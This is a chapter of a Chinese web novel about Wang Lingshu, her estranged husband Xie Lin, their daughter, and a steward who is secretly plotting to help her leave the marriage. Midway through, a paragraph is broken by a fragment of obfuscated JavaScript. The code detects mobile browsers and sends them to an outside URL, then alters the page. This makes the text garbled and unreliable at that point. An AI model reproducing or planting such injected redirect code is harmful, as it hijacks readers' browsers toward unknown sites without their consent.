一路上,谢幼训都在叽叽喳喳地说话。 大概是这个年纪的孩子天生便有使不完的生命力和倾诉欲,什么小事,谢幼训都要高高兴兴地说给两人听一遍。 原本沉默的氛围,尽然算得上和谐。 谢凛抱着谢幼训,一路将王令淑送到主院,才拍拍谢幼训的脑袋,说:“太晚了,今夜宿在你阿母处。” “那阿父呢?” 谢幼训歪起脑袋,双眸明亮。 谢凛没说话。 玉盏急急忙忙上前,为谢幼训整衣,轻声道:“郎主天不亮就得起来上朝,所以……” “我今夜也宿在这里。” 谢凛打断了玉盏的话,似笑非笑看向王令淑。 不只是谢凛,整座院子里的视线,都悄无声息地落在了王令淑的身上。 两人分居已久,这在谢家不是秘密。 至于分居的缘由,现在谢家的大部分仆人都不清楚,却能看得出来,此事不愿意的人是王令淑。否则,谢凛何必将主院让给她,甚至逼着不愿意管事的王令淑掌家。 王令淑心头又生出烦闷。 她想起白日里珩郎话里话外的暗示与恳求。 她看着满心期待等着生辰一起出去看马赛的岁岁。 “准备被褥。” 她还是出声。 这些傀儡线、没顶池塘一样的视线,骤然潮水般消失,只剩下王令淑仍有些迟钝地站在原地。她对上谢凛黑沉沉的眼眸,疲惫地转过身去。 仆婢们迅速开始张罗准备。 沐浴过后,谢幼训还精神着,非要和王令淑一起翻花绳。 谢凛开口要训她。 “你先去睡吧。”王令淑先一步开口,语调是少有的温和,垂首微笑看着身侧的岁岁,“我把岁岁哄睡了,便回去。” 谢凛没有应她。 王令淑等了许久,只身侧的光线骤然被挡住了不少,原来谢凛已然坐在了不远处。 架子上放着些杂书,他顺手抽了一本。 听着纸页被翻动的声音,王令淑也懒得管他,自顾自和谢幼训翻花绳。她年少时贪玩,什么抓子儿、斗草斗花、簸钱、翻花绳百无禁忌,什么都玩出了自己的一番心得。 落在谢幼训眼里,实在很了不得。 没一会儿,谢幼训就被哄得只顾给她喝彩,一味求王令淑教自己。 王令淑看了眼更漏。 “你现在乖乖去睡觉,明日我教你。” “阿母骗人,明日夫子便不给我放假了,哪能来见阿母?” 小小的人儿,很不好哄。 “那等你过生辰,我不但教你翻花绳,还教你抓子儿。”王令淑哄着她,忍不住伸手捏了捏她软软的脸颊,笑出了声,“怎么,阿母也信不过?” 谢幼训眼珠骨碌骨碌转。 她扭过身去,抓住谢凛的衣袖,告状道:“阿父帮我!” 谢凛放下手里的书。 王令淑和他视线对上,面上的笑无声消散,气氛有些冷。 谢幼训仿佛是察觉到了。 她松开了手,端坐回去,小声说:“那……那岁岁去睡觉。” “阿父帮你。”谢凛收了书本,走过来坐在王令淑身侧,垂眼看了她手里的花绳片刻,轻笑着看谢幼训,“这有什么不会的,看着。” 青年常年握笔执卷的手指修长匀称,随意挑起朱红的丝线,翻了过去。 顷刻间,便是新的花样。 “哇!” 谢幼训大为惊喜。 王令淑则是看着他手里的花绳,微微出神。 这不是大家常玩的几个花样,翻起来也复杂很多,是她从前自己琢磨出来的翻法。因为复杂又好看,许多人让她教,但教了几遍,也没人能记住。 谢凛怎么会这个? 难道他还和自己想到一块去了?这念头甫一出来,王令淑心中便下意识冷笑了声,除了权势还能有什么能入谢凛这人的眼。 巧合罢了。 谢凛收了花绳,说道:“去睡,别吵你阿母。” 谢幼训有点不满,却没敢顶嘴。 “阿母。”她扑进了王令淑怀里,撒娇抱着她,“我还不困。而且我想陪着阿母,我不想一个人去睡觉……” 话是这么说,却打了个呵欠。 王令淑看她确实快睡了,便让她枕在自己怀中,应了好,轻轻拍着哄她入睡。 小孩睡眠好,没一会儿便睡着了。 玉盏上前,将谢幼训抱去安睡,走时其余仆婢也悄声退下。 夜色深深,烛火明灭。 王令淑取下披在肩头的褶衣,自顾自进了内间,吹熄蜡烛躺下。因为她怕冷的缘故,被褥用的是最厚的,压在身上倒有几分说不出的安全感。 今日一趟,她躺下才后知后觉到疲倦。 困意涌来,王令淑入睡得比她以为的要快了许多。 不知道过了多久。 身侧的被褥塌陷下去,王令淑骤然从梦中惊醒片刻,她不知不觉陷入半梦半醒中。梦中似乎有冰冷的毒蛇缠绕着她,寸寸逼近,而她不得动弹。 王令淑挣扎,哭叫。 可无论如何,她只能滑向绝望。 这场梦做得惊悸不已。 王令淑彻底惊醒时,天已然大亮,明亮的阳光刺得她太阳穴闷闷地疼,双眼也觉得难受。 她抬手遮住眼睛,低声问:“几时了?” “刚过巳初。”顿了顿,玉盏补充说,“郎主叮嘱,别叫醒夫人。” 王令淑躺着想了一想。 她坐起身,说道:“给我梳妆。还有,给傅忱递一个信,让他来见我。” 玉盏露出笑容:“傅管事一大早便到了。” “一大早?” 王令淑忍不住惊异。 难道昨夜,谢凛便传信给了傅忱,傅忱当即赶了一夜路来这里?但他如今既然管了这么多事,便是当夜收到消息,只怕也不能立刻动身。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583806|171633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还是说,傅忱早就打算出发了? 但多思无用,王令淑说道:“好,让他来见我。” 玉盏应是,下去吩咐了。 两人多年未见,王令淑梳妆完毕去见他,竟有些近乡情怯的感觉。 远远的,她便瞧见一道修长的人影。 王令淑脚步不由慢下来,人还是那个熟悉的人,并未变得陌生起来。她又想起少女时,与傅忱在庄子里钓鱼、摘莲蓬,那时候真希望每年的夏天都要再长一点才好。 “阿俏……”傅忱已经转过身来,瞧见她的模样,笑容淡了一些,行礼时改口称呼,“夫人。” 王令淑微微顿住。 她顿时察觉,已然入秋许久了。 傅忱站在银杏树下,身后金黄一片,落叶纷纷。 “好久不见。”王令淑还是挤出一个笑容,抬脚走进了,“这些年,你过得还好吗?” “岂能不好?郎主与夫人信任,夫人名下的田产铺子都在我手中经营,多少也混成了个说得上些话的管事。”傅忱也露出客气的笑容,说的话更是滴水不漏,“眼下,郎主与夫人更是将重任交给给我,实在受宠若惊。” 王令淑笑着,眼神却有些难过。 傅忱微微移开视线。 “夫人的意思,我大致知晓。但到底要怎么做,还需要夫人明示,我不敢妄自揣测……” 听了这话,仆婢纷纷不着痕迹看向王令淑。 王令淑点点头,其余人纷纷退下。 一时间,四周空旷下来。 “阿俏。” 傅忱已然收了那副客套疏离的神情,眸光复杂,似乎想要说些什么。王令淑见他这样,更是觉得有些说不出的难受,甚至想躲开他的视线。 “不是才叫夫人吗?” 傅忱笑了笑,说道:“这些年,谢凛都不让我来谢家。” 王令淑对此并不意外。 她身边的人,全都被他打发走了。 刚开始的时候,王令淑自然不答应,用尽了手段和他反着来,势必要将自己的人护住……可后来,实在是没办法,她永远没有谢凛那么狠的心肠和手腕。 “对不起,我……” 傅忱打断她:“这么些年,还没见过你冲谁道过歉。” 往日的王令淑出身贵重、性情骄矜,何曾会向别人低头道歉。可眼前的王夫人,眉宇间早已不见了当年的神采,倒像是纸糊成的人。 哪怕衣着华贵、装扮精致,也能看出她过得很不好。 谢凛待她不好。 “阿俏。”多年未见,谢忱心中有许多话想要和王令淑说,但张开口,却又只能说出寥寥数语,“你且耐心,等一等我。” 王令淑双眸空茫地看着他。 谢忱压低了语调,迅速道:“这些年,我虽然见不到你,却已然暗中将被谢凛控制的田庄铺子的人手换作了自己的人。再过一些日子,谢家未必不能穿插进我们自己的人,到时候递外头的消息给你便不是难事……” 终于,王令淑回过神来,眸色有些惊异。 见她如此,傅忱松了口气。 “至于我此去王家,更是一件好事。”他瞧着眼前的王令淑,语气更带了几分情绪,“只要王氏重归当年光彩,又有王珩为你撑腰,与谢凛和离便不再是难事!” 王令淑交叠身前的手,微微收拢。 “纵然不能立刻和离,届时找借口,将你迁出去住或是回王家修养,更不是难事。” “至于女公子,随着母亲住也是尽孝的常理。” 这些话,像是惊涛骇浪般扑向王令淑。 她一时之间还没咂摸出惊喜,只觉得头晕目眩,胸中仿佛有什么翻腾了起来。 喉间又在隐隐发痒,腥甜发涩。 “这些并非一日之功,定然要你耐心下来,与我里应外合。”傅忱看向王令淑枯瘦的面容,视线艰涩扫过她鬓间银丝,语气竟带了几分隐隐的哀求,“阿俏,你定然要待自己好些,万不可自己为难自己。” 王令淑觉得对方在看自己。 她心头浮现一些近似羞耻不堪的情绪,想要躲开。 但很快,傅忱便移开了视线。 “到那时,我再带你去庄子上常住。”他神情有了年轻时的疏懒,语气轻松,“我庄子里的池塘里放了尾锦鲤,眼下已然长得有半只胳膊那么长,却贪吃的很,一钓便上钩。” 王令淑想起当年,自己钓不上来鱼冲他发脾气,不由轻笑了一下。 她的心头顿时有清风吹拂而过,吹散了那缕常年凝结的郁气。 两人坐在一处,说了不少话。 有些是过去的趣事,有些是要在王氏做什么。两人本就一块在谢家长大,虽然一主一仆,但关系极好,眼下又有了一样的目标,说起话来格外热闹。 一直到午后,玉盏才进来提醒。 送走傅忱,王令淑坐在花厅里看着窗外一树桂花。 “我想去白云寺,给岁岁点一盏长明灯。” 王令淑忽然说。 王家祖父这一支的孩子,几乎个个早夭。她的父辈,再到同辈的兄姊,乃至于兄姊们所生的孩子,都命数短暂,活下来的没几个。 王令淑想看着谢幼训平平安安地长大,岁岁平安,长命百岁。 她面上浮出淡淡的笑意。 玉盏看着,不由道:“那奴也给夫人点一盏,祝夫人此后无病无灾,长命百岁。”